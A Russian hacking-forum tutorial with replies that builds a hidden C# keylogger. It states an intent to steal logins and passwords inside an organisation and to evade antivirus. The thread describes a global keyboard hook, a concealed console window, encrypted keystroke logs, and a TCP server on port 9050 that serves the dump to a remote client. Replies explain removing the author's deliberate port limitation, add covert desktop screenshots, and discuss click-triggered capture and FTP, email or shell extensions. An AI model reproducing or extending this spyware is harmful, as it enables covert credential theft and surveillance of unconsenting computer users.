• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья Пишем simple-кейлогер с передачей дампа по TCP на C#

I

Ishikawa

Однажды возникла острая необходимость выяснить логины/пароли от ряда сетевых ресурсов в крупной организации. Выходов было два - MITM и неизвестность или конкретная цель и кейлогер.
Поскольку практически все известные кейлогеры есть в базах KAV и прочей антивирусной шняги, было принято решение писать что-то свое, без всяких няшных гуев на C# (.Net 3.5-4.0).
Only console,only hardcore.
Задач было две - перехватывать все нажатия клавиш с учетом раскладки клавиатуры, отслеживать долгие нажатия клавиш (зажатый shift и пр.,определять где большая буква, где маленькая.) + забрать логи без палева по сети через TCP на случайном порту.

И в этой статье я покажу несложную реализацию, но сразу скажу, что в ней будет несколько ограничений, чтобы киды не шалили. Кто шарит - допилит под себя. (исходник - в конце статьи)

Начнем.
Кодить можно в любой байде,я выбрал Microsoft VisualStudio.
Разработка состоит из следующих этапов:
1. установка хука
2. обработка нажатий
3. шифрование
3. запись в файл
4. создать сервер на произвольном порту, чтобы забирать дамп.

Сперва подключим пространства имен:

Пишем simple-кейлогер с передачей дампа по TCP на C#



выделим из них using System.IO - ввод/вывод, System.Net.Sockets - для создания соединений, using System.Security.Cryptography - шифрование.

Затем инициализируем параметры:
Пишем simple-кейлогер с передачей дампа по TCP на C#


WM_KEYDOWN = 0x0100; //нажали
WM_KEYUP = 0x0101; //отпустили
WM_SYSKEYUP = 0x0105; //отпустили syskey
WM_SYSKEYDOWN = 0x0104 //нажали syskey
public const int KF_REPEAT = 0X40000000; //флаг удержания

Ставим "указатели" для установки Hook . Вообще хук - древнее, испытанное средство, работающее от winxp до win10. Инфы по ним - масса.

Пишем simple-кейлогер с передачей дампа по TCP на C#


Описание хука должно быть вынесено за пределы всяких процедур и находится в общем классе.
Нашему приложении придется выполнять две задачи сразу: писать нажатия и висеть с открытым сокетом. Без тредов тут не обойтись.
До описания void Main пишем [STAThread] - это позволит создать два потока.
Пишем simple-кейлогер с передачей дампа по TCP на C#


Поскольку приложение у нас консольное - нам нужно, чтобы его не было видно.
Для этого в static void Main пишем:
Пишем simple-кейлогер с передачей дампа по TCP на C#


ShowWindow(handle, SW_HIDE); //если закомментировать - окно будет visible
Пишем simple-кейлогер с передачей дампа по TCP на C#

Ставим хук (описание будет ниже)

Далее там же определяем текущую раскладку клавы. Используем метод GetKeyboardLayout();
Пишем simple-кейлогер с передачей дампа по TCP на C#

Обращаем внимание на Writer(Encrypt)( ) - в дальнейшем функция будет записывать и шифровать каждый нажатый символ. Создаем потоки через System.Threading.Thread.
Не забываем снять хук после завершения работы программы:
Пишем simple-кейлогер с передачей дампа по TCP на C#


Теперь пишем функцию для установки хуков. Вызывается из блока Main:
Пишем simple-кейлогер с передачей дампа по TCP на C#

Пишем делегат уже за пределами функции SetHook:
Пишем simple-кейлогер с передачей дампа по TCP на C#


Теперь хук установлен (почти). Куда же идти дальше? Дальше - рыбалка :)
Пишем функцию для отлова нажатий клавиш:
Пишем simple-кейлогер с передачей дампа по TCP на C#


int vkCode = Marshal.ReadInt32(lParam); - один из самых надежных методов - Marshal, но он дает нам не клавишу в чистом виде, а ее код. Например: F == 70
Далее - переводим из marshal в string.

Пишем simple-кейлогер с передачей дампа по TCP на C#

Если нажали F, то в vkCode будет 70, а mystring=="F"
Далее определяем раскладку клавиатуры:
Пишем simple-кейлогер с передачей дампа по TCP на C#


Writer(encrypted); - пишем факт смены раскладки.
mss = mss_check; -по этой переменной при следующем нажатии определяем, изменилась ли раскладка. Кстати если будете дебажить - учтите, что софт будет писать и клавиши отладки (F9,F10 и реагировать на них).
Пишем все остальные нажатия:
Пишем simple-кейлогер с передачей дампа по TCP на C#

Далее пишем только те что были отпущены (в нашем случае все контрольные)

Пишем simple-кейлогер с передачей дампа по TCP на C#


Похожим образом можно ловить сочетания клавиш, например так:
Пишем simple-кейлогер с передачей дампа по TCP на C#

и обрабатывать их со своими правилами.

Или же делать вообще веселые вещи - блокировать сочетания клавиш:
Пишем simple-кейлогер с передачей дампа по TCP на C#

return (IntPtr)1; - как раз и блокирует :)

Чтобы наше приложение не зависло после первой нажатой клавиши, нужно предусмотреть выход из процедуры:
Пишем simple-кейлогер с передачей дампа по TCP на C#


На этом с функцией HookCallback покончено. Займемся троянским конем с одной функцией - передать нам данные из файла лога.
Поскольку сокеты вещь капризная, оформляем ее в try - catch конструкцию:
public static void ServerSocket()
{
while (true) // цикл с условием :)
{
{
try
{
Создаем точку подключения из текущего IP и порта 9050. Я специально убрал поиск и выбор случайного порта, но порт 9050 как правило, не закрыт.
Пишем simple-кейлогер с передачей дампа по TCP на C#

1. Получаем текущий IP и устанавливаем порт.
2. Создаем сокет.
3. Биндим и ждем подключений .
Поскольку наша прога - сервер - мы ждем клиента. Создаем сокет для клиента:

Пишем simple-кейлогер с передачей дампа по TCP на C#

1. Получаем удаленный IP.
2. Создаем коннект.
3. Пишем в лог, что подключились.

Далее необходимо инициировать отправку файла от сервера клиенту. Для этого снова делаем обертку из try-catch.

Пишем simple-кейлогер с передачей дампа по TCP на C#

Для отправки используем Socket.SendFile. Лог сохраняется туда же, где лежит текущее приложение.
После передачи - разрываем коннект.

Желающие могут переписать client.SendFile на FtpWebRequest reqFTP или SmtpClient client = new SmtpClient(), чтобы использовать возможности FTP или email, но последний не советую, т.к. корпоративные почтовики пишут логи+придется писать еще модуль для работы через proxy.
(подобным же образом можно дописать и шелл-оболочку, hello metsvc )

Осталось только дописать две функции: запись и шифрование.
Запись реализуется чрезвычайно просто:
Пишем simple-кейлогер с передачей дампа по TCP на C#

Обращаем внимание - пишем каждый символ с новой строки. Почему так - скажу в конце.
А вот теперь модуль Encrypt. Дабы не изобретать велосипед - возьмем готовый.

Опишу модуль лишь в кратце. Сложностей там нет.
Шифрование будет AES-256. Параметры у меня предустановлены. Главные из них - длина ключа и вектор.
Пишем simple-кейлогер с передачей дампа по TCP на C#


Cоздаем MemoryStream - работать с памятью удобнее и быстрее. Для шифрование - лучший вариант.
Затем создаем крипто-поток. Получается в некотором роде "матрешка" из потоков.
//пишем
cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
// записали - почистили
cryptoStream.FlushFinalBlock();
//закрываем потоки
memStream.Close();
cryptoStream.Close();

Теперь есть одна сложность, почему пишем с новой строки, а не продолжаем дальше. AES не позволяет шифровать данные на лету. Если мы так попробуем сделать - файл будет тупо перезаписываться или в конец будет добавлено шифрованное содержимое, которые мы уже никогда не расшифруем, ибо программа не сможет определить где начало,где конец.

Что же делать? Выход прост и лаконичен:
После symmetricKey.Clear(); дописываем следующую строчку:

Пишем simple-кейлогер с передачей дампа по TCP на C#

Да,да. Старый, добрый Base64.
Работает это так: нажали А - открыли файл для записи, зашифровали А в <&5d92_)_*3>, а <&5d92_)_*3> записали в Base64 H1BoaX7twhPxtE5AuydhHQ==

В итоге шифрованный файл у нас будет выглядеть как-то так:

3/Cy4CkgahXIZxzWIcHB/w==
bEvDy6XwQ/TCSLteiHV8HNfOpYHaM1wcUjbWXcIA2PjN3NuyZ7s5MdfA+l3fkVHp
fHiGcrcccgtDbW4+Tpf7wA==
bEvDy6XwQ/TCSLteiHV8HNfOpYHaM1wcUjbWXcIA2PhUzj0ghbJZVoJgsbRiS6CH
H1BoaX7twhPxtE5AuydhHQ==
GMv5+3F6dLb5GymIvv3Lhg==
9har47I/6mOOnWtllg52nQ==
fHiGcrcccgtDbW4+Tpf7wA==
8E2+NLMvagqELD4ggKoT0g==
IFwu4krJ7dIVqKdbH/EQ0g==
8E2+NLMvagqELD4ggKoT0g==


Присутствует потенциальная уязвимость, ибо одинаковые символы шифруются AES и Base64 одинаково, и статистически возможно определение одного символа или группы символов
(пароли и вектор ведь не меняются).

По TCP все передается plaintext - поскольку все и так зашифровано - для расшифровки нужно знать длину ключа, пароль, вектор. Без этих данных расшифровка - тухлое дело.

И чуть не забыл самое главное. Чтобы хук работал, нужно получить все нужные нам функции через DLLImport. В конец главного класса дописываем:

Пишем simple-кейлогер с передачей дампа по TCP на C#


Все перечислять не буду - полное описание будет во вложении.
Последнее замечание: поскольку всё это написано на C# 4.0 (уж так получилось), то работать это будет на всей ветке Windows, начиная с Win2003S до Win8.1 и скорее всего и Win10 с установленным .NetFramework 4.0 (лично я проверял на WinXP, Win7,Win2008,Win8.1)

На этом создание кейлогера окончено. Что делать дальше?
Писать клиента для подключения к кейлогеру и дешифратор.
Многие наверняка уже поняли, что функцию Encrypt легко можно превратить в Decrypt, просто порядок другой, и сначала нужно будет открыть файл :)

Всем спасибо!

p.s. материалы и описание функций - все есть в MSDN и Google :)
 

Вложения

Последнее редактирование модератором:
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 989
Спасибо бро,в хозяйстве пригодится))))
 
MAdDog719

MAdDog719

Well-known member
16.08.2016
110
27
На здоровье. Если будет интерес - напишу еще пару статей :)
Конечно интересно, очень классный материал.

А как можно получить код кейлогера без всяких ограничений? Я не кид, но в кодонаписании к сожалению понимаю пока очень, и очень мало, так что допилить под себя сам не смогу. А как написали выше, работающий кейлогер в хозяйстве сгодится.
 
Последнее редактирование:
  • Нравится
Реакции: MonMJK
X

xXx

Материалу и автору зачет! Интересно
 
I

Ishikawa

Конечно интересно, очень классный материал.

А как можно получить код кейлогера без всяких ограничений? Я не кид, но в кодонаписании к сожалению понимаю пока очень, и очень мало, так что допилить под себя сам не смогу. А как написали выше, работающий кейлогер в хозяйстве сгодится.
:rolleyes:
IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 9050);
замени на
IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 0);

В этом случае система сама даст свободный порт выше 31337 :)
 
I

Ishikawa

Раз уж интересно, давайте добавим одну маленькую плюшку: скрин рабочего стола во время запуска кейлогера.
Скриншот никак не шифруется, но исправить это легко, пропустив его через функции Write(Encrypt());

для начала объявляем пространство, необходимое для работы с графикой.

Пишем simple-кейлогер с передачей дампа по TCP на C#


Если вдруг ругается, что не может найти эти пространства - исправить легко. Нужно добавить референс (Project --> Add reference).

Пишем simple-кейлогер с передачей дампа по TCP на C#


После этого ошибок не будет.

Поскольку задача не велика, не будем плодить всякие функции. Пишем в тело функции Main() следующий код:

Пишем simple-кейлогер с передачей дампа по TCP на C#


Скриншот сохраняется туда же, где лежит дамп клавиш и сама программа. Для пытливых = есть что доработать, ибо картинка сохраняется в bmp и сохраняется только PrimaryScreen, т.е. основной монитор. Если мониторов два или больше... получите только первый :)
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 989
Для пытливых = есть что доработать, ибо картинка сохраняется в bmp и сохраняется только PrimaryScreen, т.е. основной монитор. Если мониторов два или больше... получите только первый :)
Ну да) Тут все боги шарпа))))Ты пока второй бог шарпа которого я встретил)))
Первым был Лешка Морозов... ):)
 
MAdDog719

MAdDog719

Well-known member
16.08.2016
110
27
а этом создание кейлогера окончено. Что делать дальше?
Писать клиента для подключения к кейлогеру и дешифратор.
Многие наверняка уже поняли, что функцию Encrypt легко можно превратить в Decrypt, просто порядок другой, и сначала нужно будет открыть файл
Эммм а клиент и дешифратор на этом форуме будут выложены? ))))
 
P

poxys

Скажи а как сделать что бы скриншот экрана всегда делался по клику мышки
 
I

Ishikawa

Скажи а как сделать что бы скриншот экрана всегда делался по клику мышки
Вообще, если используется обычное оконное приложение WinForms или WPF, Silverlight, то клик отрабатывается через обработчик:

Пишем simple-кейлогер с передачей дампа по TCP на C#


Это будет работать только в пределах одного приложения. В нашем случае это будет бесполезно, т.к. приложение не имеет видимых окон. Выход - ставить хук на мышку. Если кратко, то нужно объявить константы под мышь:
Пишем simple-кейлогер с передачей дампа по TCP на C#


Потом создать функцию установки хука:

Пишем simple-кейлогер с передачей дампа по TCP на C#


А потом написать еще +500 строк кода, чтобы всё это работало. В общем - установка хука на мышь - отдельная статья.

p.s. галерею хочешь накликать? :)
я как-то сделал скрин каждые 2 секунды. За день сожрало 180Гб
 
  • Нравится
Реакции: <~DarkNode~>
P

poxys

Вообще, если используется обычное оконное приложение WinForms или WPF, Silverlight, то клик отрабатывается через обработчик:

Посмотреть вложение 7598

Это будет работать только в пределах одного приложения. В нашем случае это будет бесполезно, т.к. приложение не имеет видимых окон. Выход - ставить хук на мышку. Если кратко, то нужно объявить константы под мышь:
Посмотреть вложение 7599

Потом создать функцию установки хука:

Посмотреть вложение 7600

А потом написать еще +500 строк кода, чтобы всё это работало. В общем - установка хука на мышь - отдельная статья.

p.s. галерею хочешь накликать? :)
я как-то сделал скрин каждые 2 секунды. За день сожрало 180Гб
  • Как раз в том то и дело что бы не создавались каждые две минуты скриншоты всего экрана, а именно по клику мыши, юзер же кликает когда что то делает, и это не часто, плюс сделать что бы скриншот был черно-белый и сильно пожатый!
 
P

poxys

Почему сыпит ошибками? Ссылки указаны!

Пишем simple-кейлогер с передачей дампа по TCP на C#

Пишем simple-кейлогер с передачей дампа по TCP на C#

Пишем simple-кейлогер с передачей дампа по TCP на C#
 
Последнее редактирование модератором:
I

Ishikawa

Как раз в том то и дело что бы не создавались каждые две минуты скриншоты всего экрана, а именно по клику мыши, юзер же кликает когда что то делает, и это не часто, плюс сделать что бы скриншот был черно-белый и сильно пожатый!
Палка о двух концах. Сделать могу конечно, но пока не убедил, бро.
 
I

Ishikawa

Почему сыпит ошибками? Ссылки указаны!
Там же написано, а выше я писал: "Если вдруг ругается, что не может найти эти пространства - исправить легко. Нужно добавить референс (Project --> Add reference)."
Собственно, у тебя нет ссылок на эти пространства. Их нужно добавить самому, бро.
 
P

poxys

Там же написано, а выше я писал: "Если вдруг ругается, что не может найти эти пространства - исправить легко. Нужно добавить референс (Project --> Add reference)."
Собственно, у тебя нет ссылок на эти пространства. Их нужно добавить самому, бро.
Я добавил все ссылки которые доступны, все равно не работает! Одной ссылки на System достаточно для работы должно быть, так как в нее входит IO-Net.Sockets-Threading-Security.Cryptography.
 

Вложения

  • 80 КБ Просмотры: 79
I

Ishikawa

Одной ссылки на System достаточно для работы должно быть, так как в нее входит IO-Net.Sockets-Threading-Security.Cryptography.
Нет, не будет достаточно, т.к. в system не входит все остальное. Буть так - не было бы нужды плодить адресные пространства.

Бро, если ты добавишь все без разбора, работать и не будет...
Подключать нужно только нужные пространства. Давай сделаем так:
1. Убирай все галки со всех пространств Project --> Add reference
2. В коде убери лишние using. Оставь только те, что ниже:
Пишем simple-кейлогер с передачей дампа по TCP на C#

3. Идем в Project --> Add reference. Ставим только те, что я указал:
Microsoft.CSharp
System
System.Drawning
System.Windows.Forms


Должно получиться так:
Пишем simple-кейлогер с передачей дампа по TCP на C#


После этого жми F5.
 

Вложения

Последнее редактирование модератором:
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб